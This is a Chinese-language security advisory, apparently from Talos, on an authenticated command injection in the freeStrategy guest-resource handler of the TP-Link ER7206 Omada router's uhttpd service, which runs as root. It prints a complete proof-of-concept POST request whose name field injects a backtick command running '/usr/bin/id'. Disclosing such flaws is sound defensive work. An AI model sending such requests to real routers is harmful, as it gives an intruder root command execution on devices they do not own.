TP-Link ER7206 Omada 千兆 VPN 路由器 uhttpd freeStrategy 命令注入漏洞
Tp-Link ER7206 Omada 千兆 VPN 路由器 1.3.0 build 20230322 Rel.70591 的访客资源功能中存在一个命令执行漏洞。特制的 HTTP 请求可导致任意命令执行。攻击者可以通过发送身份验证后的 HTTP 请求来触发此漏洞。
以下版本已经由 Talos 测试或验证存在漏洞，或由供应商确认存在漏洞。
Tp-Link ER7206 Omada 千兆 VPN 路由器 1.3.0 build 20230322 Rel.70591
ER7206 Omada 千兆 VPN 路由器 - https://www.tp-link.com/us/business-networking/vpn-router/er7206/
ER7206 Omada 千兆 VPN 路由器是一种高性能网络解决方案，支持千兆连接、高度安全的 VPN，以及与 Omada SDN 集成，实现集中云管理和零接触配置。
ER7206 Omada 千兆 VPN 路由器运行多种服务来管理路由器或连接到路由器的设备。其中一项服务是 uhttpd，运行在 80/443 端口。它为用户提供用于配置和管理路由器的 Web 界面。默认情况下，该服务以 root 用户身份运行。攻击者可以利用此服务获取设备的 root 访问权限。
当向设备添加访客资源时，uhttpd 服务中存在命令注入漏洞。在 Web 界面中，可以通过导航到 身份验证 -> 身份验证设置 -> 访客资源 来访问访客资源页面。该页面提供添加、编辑和删除访客资源的功能。当添加访客资源时，会触发以下 HTTP POST 请求：
POST /cgi-bin/luci/;stok=b53d9dc12fe8aa66f4fdc273e6eaa534/admin/freeStrategy?form=strategy_list HTTP/1.1
Host: 192.168.8.100
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: sysauth=8701fa9dc1908978bc804e7d08931706
Content-Length: 470
data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22index%22%3A0%2C%22old%22%3A%22add%22%2C%22new%22%3A%7B%22name%22%3A%22DDDDL|%60%2Fusr%2Fbin%2Fid%3E%2Ftmp%2Fhad%60%22%2C%22strategy_type%22%3A%22five_tuple%22%2C%22src_ipset%22%3A%22%2F%22%2C%22dst_ipset%22%3A%22%2F%22%2C%22mac%22%3A%22%22%2C%22sport%22%3A%22-%22%2C%22dport%22%3A%22-%22%2C%22service_type%22%3A%22TCP%22%2C%22zone%22%3A%22LAN1%22%2C%22comment%22%3A%22%22%2C%22enable%22%3A%22on%22%7D%2C%22key%22%3A%22add%22%7D%7D